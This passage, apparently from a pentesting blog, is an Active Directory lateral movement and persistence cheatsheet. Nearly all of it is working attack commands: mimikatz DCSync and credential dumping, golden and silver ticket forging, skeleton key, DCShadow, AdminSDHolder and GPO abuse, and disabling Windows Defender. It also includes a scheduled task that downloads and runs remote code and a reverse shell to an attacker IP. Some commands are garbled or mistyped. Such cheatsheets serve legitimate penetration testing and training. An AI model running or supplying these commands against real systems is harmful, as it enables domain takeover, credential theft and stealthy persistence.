#Generate SAML Authentication token, use the SAML token to the endpoint applicaiton. python3 -b blob key.bin -s adfs.steins.local saml2 --endpoint 'https://endpoint.steins.local/SamlResponseServlet' --nameidformat 'urn:oasis:names:tc:SAML:2.0:nameid-format:transient' --nameid '0x0security\administrator' --rpidentifier 'ME_2484c52-45g3-8541-df24-t543dsf18' --assertions '<Attribute Name=""><AttributeValue>0x0security\administrator</AttributeValue></Attribute>' 

Exploiting Azure AD Sync Server

#Check if the service is turned on or not. if the serice is turned off, start it by following this Tutorial

#Use this script to dump msol hashes which has Domain replicate permissions - azuread_decrypt_msol_v2.ps1 #Copy the credentials, and using those creds - run DCSync on the domain controller

#login to the ADSync machine via RDP and copy mimikatz on the machine

# Shift+right click --> Run as another user --> use MSOL_2433243 creds
# Run below command to run dcsync attack, which dumps all hashes
lsadump::dcsync /domain:orbitfish.local /all /csv 
Abusing Exchange Severs

#Abusing Exchange if you are part of Organizational Management group, fixed the bug in 2019 c2

#Organizational Management group, --> has access to exchange server --> exchange server is a member of Exchange Trustred Subsystems --> Exchange Trustred Subsystems is a member of Exchange Windows Permissions --> who can modify WriteDACL on all the root level domain objects. which leads to forest compromise.

#Login to exchange server --> bypass AMSI
#upload mimikatz to the target machine
Invoke-Command -FilePath .\Invoke-Mimikatz.ps1 -Session $ExchangeServer
Enter-PSSession $ExchangeServer

#Download all the keys/creds from exchange server
Invoke-Mimikatz -Command '"sekurlsa::ekeys"'

#abusing exchange to gain DCSync
Invoke-Mimikatz -Command '"sekurlsaL:LInvoke
Invoke-Mimikatz -Command '"sekurlsa::pth /user:ExchangeServer$ domain:Steins.local /ntlm:232d9ad8g79a8sac22f4asd36a543 /run:powershell.exe"'
Import-Module .\Microsoft.ActiveDirectory.Management.dll
Import-Module .\ActiveDirectory ActiveDirectory.psd1
Import-Module .\RACE.ps1

#Adding an ACL To DC to allow DCSync permissions
Set-ADACL -SamAccountName <UserName_toGive_Permissions> -DistinguishedName 'DC=steins,DC=local' -server steins.local -GUIDRight DCSync -Verbose

#login as the user and run DCSync
Invoke-Mimikatz -Command '"lsadump::dcsync /user:steins.local\krbtgt /domain:steins.local"'

#Geting mailbox account hashes.. when ever a user logins to
Invoke-Mimikatz -Command '"sekurlsa::ekeys"'

#Abusing Exchange if you are part of Exchange Windows Permissions - can modify WriteDACL on all the root level domain objects. which leads to forest compromise.

#Adding an ACL To DC to allow DCSync permissions
Set-ADACL -SamAccountName <UserName_toGive_Permissions> -DistinguishedName 'DC=steins,DC=local' -server steins.local -GUIDRight DCSync -Verbose

#login as the user and run DCSync
Invoke-Mimikatz -Command '"lsadump::dcsync /user:steins.local\krbtgt /domain:steins.local"'

Abusing ACLs on Exchange Srever to gain persistence

#Use the below command on DC as DA to provide studentuser1 WriteDACL permissions on Exchange Windows Permissions group which, in turn, has WriteDACL permission on the domain object (or even forest root domain object depending on the installation).

Set-DCPermissions -Method GroupDACL -DistinguishedName 'CN=Exchange Windows Permissions,OU =Microsoft Exchange Security Groups,DC=steins,DC=local' -SAMAccountName DOMAIN\USERNAME -Verbose

#Use the below command as USER to modify ACL on Exchange Windows Permissions and add WriteMember rights to studentuser1:
Set-ADACL S-amAccountName <USERNAME> -DistinguishedName 'CN=Exchange Windows Permissions,OU =Microsoft Exchange Security Groups,DC=steins,DC =local' -GUIDRight WriteMember -Server steins.local Verbose
Abusing Schema Admins 

#Schema admins have access to all the objects in the forest.
$cred = New-Object System.Management.Automation.PSCredential ("steins.local\USER", (ConvertTo-SecureString "P@ssw0rd" -AsPlainText -Force))

Set-ADObject -Identity "CN=Group,CN=Schema,CN=Configuration,DC=steins,DC=local" -Replace @{defaultSecurityDescriptor = 'D:(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;DA)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;SY)(A;;RPLCLORC;;;AU)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;S-1-5-21-854239470-2015502385-3018109401-52104)';} -Verbose -server dc.steins.local -Credential $cred

net group new_admingroup /domain

Add-ADGroupMember new_admingroup -Members emma -Server dc.steins.local -Credential $cred
Abusing Backup Administrator (Backup Operators Group)

#Backup user/administrator has SeBackUpPrivilege Enabled, using it we can abuse GPO and gain access to any machine

#Open a shell as a backup user/administrator using mimikatz or rubeus
sekurlsa::pth /user:backup$ /domain:steins.local /ntlm:10b3779e808826431f213e10070b2dadf

#open the shell as system
.\psexec.exe -s -i cmd.exe

#Import SeBackupPrivilegeUtils and enable SeBackupPrivilege Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll

#copy the GPO from DC to local machine
robocopy \\DC.steins.local\sysvol\steins.local\ C:\GroupPolicy\original /b /s

#select a GPO to abuse GPT.ini & GptTmpl.ini files; GptTmpl.inf file contains all the permissions of the users. adding a new acl in the file and replacing it with the original GPO file will grant us acecss to the desired machine/service
notepad "C:\GroupPolicy\original\Policies\{43F46A1-016D-11D2-945F-00C04R47FW459}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"

#You can add something like below. add the user to the desired group [Version]
[Registry Values]
[Group Memership]
*S-1-5-21-997099906-443949041-4154774969-1109__MemberOf = *S-1-5-32-544
*S-1-5-21-997099906-443949041-4154774969-1109__Members =
*S-1-5-32-544__Memberof =
*S-1-5-32-544__Members = *S-1-5-21-997099906-443949041-4154774969-1109

#backup the file
robocopy "\dc.steins.local\sysvol\steins.local\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}" "C:\GroupPolicy" GPT.INI /b

robocopy "\dc.steins.local\sysvol\steins.local\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit" "C:\GroupPolicy" GptTmpl.inf /b

#Restore the file
robocopy "C:\GroupPolicy" "\\steins.megabank.local\sysvol\steins.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}" GPT.INI /b

robocopy "C:\GroupPolicy" "\\dc.steins.local\sysvol\steins.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit" GptTmpl.inf /b
Abusing GMSA by relaying 

Import-Module .\Invoke-DNSUpdate.ps1
Invoke-DNSUpdate -DNSType A -DNSName might -DNSData Attacker_IP -Realm steins.local

#Invoke a web request from the service that is using GMSA
Invoke-WebRequest -uri "http://might.steins.local" -UseDefaultCredentials

#Start capturing the data using ntlmrelayx, if its running as administraor SAM hashes will be dumped
sudo proxychains --dump-gmsa --no-dump --no-da --no-acl --no-validate-privs -debug -t ldaps://GMSA_running_machine_IP

#incase the data is shown as Password blob, you can use below to convert it to ntlm hash
(ConvertFrom-ADManagedPasswordBlob <blob>).SecureCurrentPassword | ConvertTo-NTHash


Golden Ticket Attack - Maintaining Persistence

#Execute Mimikatz on DC as domain admin to get krbtgt hash
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dc.steins.local


#use DCSync feature to get krbtgt hash from any machine(Need DA privs)
Invoke-Mimikatz -Command '"lsadump::dcsync /user:DOMAIN_NAME\krbtgt"'

#create a golden ticket; for SID - do not add the last 3 digits, it should be added in ID
Invoke-Mimikatz -Command: '"kerberos::golden /User:AnyName /domain=steins.local /sid:S-1-5-21-310201014-2950945941-1969162530 /krbtgt:3fb36f90ad0b20822d7cca4b973e9d14 /id:500 /groups:512 /startoffset:0 /ending:600 /renewmax:10080 /ptt"'

--> run powershell as Admin & Disbale Defender : Set-MpPreference -DisableRealtimeMonitoring $true

Golden Ticket attack Tutorial- Maintaining Persistance & Exploiting a Target:

#Turn off windows defender, need to run as admin
Set-MpPreference -DisableRealtimeMonitoring $true

#login as domain administrator or other user who has admin privs & New Target session starts
Invoke-Mimikatz -Command '"sekurlsa:pth /user:Administrator /domain:steins.local /ntlm:<NTLM_HASH> /run:powershell.exe"'

#Log into domain controller and save the session
$sess = New-PSSession -ComputerName dc.steins.local

#User AV Bypass here and load mimikatz on the target machine
Invoke-Command -Filepath C:\downloads\Invoke-Mimikatz.ps1 -Session $sess

#Start the session
Enter-PSSession -Session $sess

#Execute Mimikatz on DC as domain admin to get krbtgt hash; copy the krbtgt hash
Invoke-Mimikatz -Command '"lsadump::lsa /patch''

#or run DCSync as Domain Admin to get krbtgt hash
Invoke-Mimikatz -Command '"lsadump::dcsync /user:steins.local\krbtgt"'

#create a golden ticket;
# id:500 - optional RID (default 500) and Group Default 513 512 520 518 219
# /ptt = injects the tickets onthe disk /ticket = saves the ticket to a file for later use
#sid = SID of the domain
#startoffset:0 - optional; 0=start from the ticket creation, negative value creates a ticket from past
#ending:600; 600/60mins = 10 hours. its not a good idea to set it for longer duration, EDR can detect it. mimikatz by default set it to 10 years - which can raise a flag for detection.
#renewmax:10080; optional - mimikatz default is 10 years. AD default is 7 days = 100800 minutes

Invoke-Mimikatz -Command: '"kerberos::golden /User:AnyName /domain=somedomian.local /sid:S-1-5-21-310201014-2950945941-1969162530 /krbtgt:3fb36f90ad0b20822d7cca4b973e9d14 /id:500 /groups:512 /startoffset:0 /ending:600 /renewmax:10080 /ptt"'

#View cached tickets
Silver Ticket Attack: - Maintaining Persistence

#Get NTLM hash of the service
#Execute Mimikatz on target machine as domain admin to get service account hash
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

#download the hashes from DC
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName dc.steins.local

#Silver ticket attack
#target - target server FQDN; service: SPN name of service for which TGS is to be created ex: cifs(file system)
#rc4 - hash of the service account

Invoke-Mimikatz -Command: '"kerberos::golden /domain=steins.local /sid:S-1-5-21-310201014-2950945941-1969162530 /target:service2.steins.local /service:cifs /rc4:<NTLM_HASH> /User:Administrator /ptt"'


ls \\steindsdc.steins.local\c$

Command Execution by Scheduling a Task:

------------------------------------------- Silver ticket attack

Invoke-Mimikatz -Command: '"kerberos::golden /domain=steins.local /sid:S-1-5-21-310201014-2950945941-1969162530 /target:steinsdc.steins.local /service:HOST /rc4:<NTLM_HASH> /User:Administrator /ptt"'

klist #check available tokens

#start a http server and edit PowershellTCP.ps1, add below line at the end of file
Invoke-PowerShellTcp -Reverse -IPAddress Attacker_IP PORT

schtasks.exe /create /s steindsdc.steins.local /SC Weekely /RU "NT AUTHORITY\SYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString("")'"

#Run the task:
schtasks /Run /S steinsDC.steins.local /TN "STCheck"

#Get shell on the listener

rlwrap nc -nvlp 443 
Skeleton Key- Maintaining Persistence 

- Skeleton key is a persistence technique where it is possible to patch a domain controller (lsass process) so that it allows access as any user with a single password.

- Not ALL DC's are affected, only the machines which authenticate to DC's to which we applied this patch would work

#Inject a skeletion key - use any username but the password is mimikatz
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeletion"' -ComputerName SteinsDC.steins.local

#Now you can login into any computer with a valid username and password as "mimikatz"
Enter-PSSession -ComputerName steinsdc.steins.local -Credential steins\Administrator

In case Lsass is running as Protected Process:
----------------------------------------------- we can still use Skeleton Key but it needs mimikatz driver (mimidriv.sys) on disk of the DC. might be detected

!processprotect /process:lsass.exe /remove
Domain Controller DSRM - Maintaining Persistence 

#disable AV on the target machine
$sess = New-PSSession - ComputerName dc.steins.local
Invoke-Command -ScriptBlock{
Set-MpPreference -DisableRealtimeMonitoring $true } -Session $sess
Invoke-Command -Session $sess -FilePath c:\Invoke-mimikatz.exe

#Dump DSRM Password: Extracting hashes from SAM hive; Administrator password is the DSRM password

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername steinsdc.steins.local

#Dump Hashes using Mimikatz: DSRM Account = Local Administrator, find Administrator hash in the dump
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername steinsdc.steins.local

- we cannot directly use PTH for DSRM account, logon type needs to be changed before using the DSRM hash.

Enter-PSSession -ComputerName stendc.steins.local
New-ItenProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertType DWORD


Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2

#to view the DSRM Property
Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\"

#use DSRM hash to login as Administrator on Domain Controller. use Domain Controller Hostname for domain
Invoke-Mimikatz -Command '"sekurlsa:pth /user:Administrator /domain:steinsDC.steins.local /ntlm:<DSRM_NTLM_HASH> /run:powershell.exe"'

ls \steinsDC.steins.local\c$
DCShadow Attack

- DCShadow temporarily registers a new domain controller in the target domain and uses it to "push" attributes like SIDHistory,SPNs etc on specified objects without leaving the change logs for modified object.
- The new domain controlle is registered by modifying the configuration container, SPNs of an existing computer object and couple of RPC services.
- Because of attributes are changed from a "domain controller", there are no directory change logs on the actual DC for the target object.
- By default, DA privileges are required to use DCShadow.
- Attacker machine must be part of the root domain
- There are no events created for this attack

#Run cmd as system
psexec.exe -s -i cmd.exe
#run mimikatz on 2 terminals. server starts and waits for a push.. we nee to push it from another mimikatz terminal
lsadump::dcshadow /object:Domain_admin /attribute:Description /Value="DCShadow Attack testing"

#on 2nd shell of mimikatz (required DA privs) push the values

#escalate privs as DA - impersonate as administrator, if you are already not running the shell as domain admin.
sekurlsa::pth /user:Administrator /domain:Steins.local /ntlm: NTLM_HASH /impersonate

#View the privileges

#push the settings..
lsadump::dcshadow /push


Abusing SID using DCShadow attack

add SIDHistory to a user account to give permissions of the group, ex: Enterprise Admins - through which we can run DCSync Attack

#Copy the SID of the group; Enterprise Admins SID ends with 519 always
Get-ADGroup -SamAccountName "Enterprise Admins"

#run mimikatz as system., adding a user to Enterprise Admins Group
lsadump::dcshadow /object:Username /attribute:SIDHistory /value:S-1-5-21-1070240333-336889418-1185445934-519

#Open MImikatz on new terminal with Domain Admin Privileges..
lsadump::dcshadow /push


Changing the hash of an Account using DCShadow

#run mimikatz as system.
lsadump::dcshadow /object:UserName /attribute:unicodePwd /value:00000000000000000000000000000000

#Open MImikatz on new terminal with Domain Admin Privileges..
lsadump::dcshadow /push
DCShadow Attack - without running mimikatz as DA

Modifying premissions for DCShadow with Nishang this way we need not run mimikatz as domain admin

#Run Set-DCShadowPermissions from nishang for setting the permissions as Admin
Set-DCShadowPermissions -FakeDC newDC -SAMAccoountName rootuser -Username newdc_shadow -Verbose

#push the settings..
lsadump::dcshadow /push

#Modify SID history and provide Domain Admin privs
lsadump::dcshadow /object:USERNAME /attribute:SIDHistory /Value:SID_ID

#to run above command with domain admin privs
Set-DCShadowPermissions -FakeDC newDC -SAMAccoountName rootuser -Username USERNAME -Verbose

#Set PrimaryGroupID of a user account to Enterprise Admins or Domain Admins group
lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519

#Modify ntSecurityDescriptor for AdminSDHolder to add Full Control for a user
#Get the ACL Of a user
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=system,DC=steins,DC=local")).psbase.ObjectSecurity.sddl

#Modify the ACL
lsadump::dcshadow /object:CN=AdminSDHolder,CN=system,DC=steins,DC=local /attribute:ntSecurityDescriptor /Value:MODIFIED_ACL(full_priv ACL;;;SID)
lsadump::dcshadow /push 
Abusing AdminSDHolder - Maintaining Persistance 

AdminSDHolder overwrites some important groups (Domain admins, backup groups etc..) with the permissions/ACL's of the AdminSDholder group. if we abuse AdminSDHolder itself, we can maintain persistance.

Need to run as Domain Admin add full control permissions for a user to the AdminSDHolder. Go to Active directory users and computers --> system --> AdminSDHolder group --> security --> add --> any user --> select all; full control --. okay. the user gets permission to access everything that domain admins can access without being in domains admins group.

#PowerView - Adding ACL for a user into AdminSDHolder
Add-DomainObjectAcl -TargetADSprefix 'CN=AdminSDHolder, CN=System' -PrincipalSamAccountName USER_NAME -Rights All -Verbose

#AD Module - Adding ACL for a user into AdminSDHolder
Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=steins.local,DC=Steinsl.local,DC=local' -Principal Machine_NAME -Verbose

#AdminSDHolder Changes takes place every 60 mins or so, we can force it using

#Run Invoke-SDPropagator to apply settings to all the groups in it.
Invoke-SDPropagator -showProgress -timeoutMinutes 1

#Read the ACL's in Domain Admins group
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'USER_NAME'}

Abusing Permissions

#now we have control over domain admins group; lets add a new member
Add-ADGroupMember -Identity 'Domain Admins' -Members testaccount
#Powerview - add a user to domain admins
Add-DomainGroupMember -Identity 'Domain Admins' -Members testaccount -Verbose

#Abusing ResetPassword using AD Module:
Set-ADAccountPassword -Identity testaccount -NewPassword (ConvertToSecureString "Password@123" -AsPlainText -Force) -Verbose

#Abusing ResetPassword using Powerview:
et-DomainUserPassword -Identity testaccount -AccountPassword (ConvertTo-SecureString "Password@123" -AsPlainText -Force) -Verbose

#Downloading DC Hashes without logging as Domain Admin: this command should be run as admin, modifying acl
Set-ADACL -DistinguishedName 'DC=steins,DC=steins,DC=local' -Principal USERNAME -GUIDRight DCSync -Verbose

# Running as a low priv user
Invoke-Mimikatz -Command '"lsadump::dcsync /user:steins\krbtgt"'
Abusing ACLs - Security Descriptors - Maintaning Persistnace

Execute commands as DC by running the script. it is possible to modify security descriptors - security info like owner, primary group,dacl and sacl of multiple remote access methods to allow access to non-admin users.
- Admin privs are requuired for this

Download the Script --

#Import the module as domain admin and assign permission to the namespace
Set-RemoteWMI -UserName USER_NAME -ComputerName steinsDC.steins.local -namespace 'root\cimv2' -Verbose

Now you can run commands with domain admin privs: even without being a domain admin; you can only run wmi commands, you can not get a shell or execute othe commands

get-wmiobject -class win32_operatingsyste m -ComputerName steinsdc.steins.local

To Remove:
Set-RemoteWMI -UserName studentadmin -ComputerName steinsDC.steins.local -namespace 'root\cimv2' -Verbose-Remove

Command Execution privs on DC:

#Run PS-Remoting to get command execution.
Set-RemotePSRemoting -Username studnetadmin -ComputerName steindsdc.steins.local -verbose

now you can run commands as Domain admin: even without domain admin privs - giving yourself permissions

#Test Command Execution
Invoke-Command -ScriptBlock{whoami} -ComputerName steinsdc.steins.local

Abusing ACLs - DACL Exploitation - Maintaning Persistnace

The Discretionary ACL Modification Project: Persistence Through Host-based Security Descriptor Modification.

Download DAMP From

#Using DAMP, with admin privs on remote machine
Add-RemoteRegBackdoor -ComputerName Steinsdc.steins.local -Trustee TEST_USER -Verbose

#as TEST_USER, retrieve machine account hash, this can be used to create a similar ticket to access other service.. Silver ticket
Get-RemoteMachineAccountHash -ComputerName Steinsdc.steins.local -Verbose

#Retreive Local Account Hash of any local account
Get-RemoteLocalAccountHash -ComputerName Steinsdc.steins.local -Verbose

#Retrieve Domain cached Credentials
Get-RemoteCachedCredential -ComputerName Steinsdc.steins.local -Verbose

That’s it for this post Active Directory Penetration Testing – Lateral Movement & Persistence Techniques cheatsheet. Here are few other of my resources that might be helpful for you while pentesting active directory.  

Basic Active Directory PenTest Commands and Techniques - Active Directory Recon and Initial Access
Privilege escalation cheat sheet -
Windows Privilege Escalation & Linux Privilege Escalation Let me know if I missed any important or commonly used commands. See ya 

Bhanu Namikaze

Bhanu Namikaze is an Ethical Hacker, Security Analyst, Blogger, Web Developer and a Mechanical Engineer. He Enjoys writing articles, Blogging, Debugging Errors and Capture the Flags. Enjoy Learning; There is Nothing Like Absolute Defeat - Try and try until you Succeed.

No comments:

Post a Comment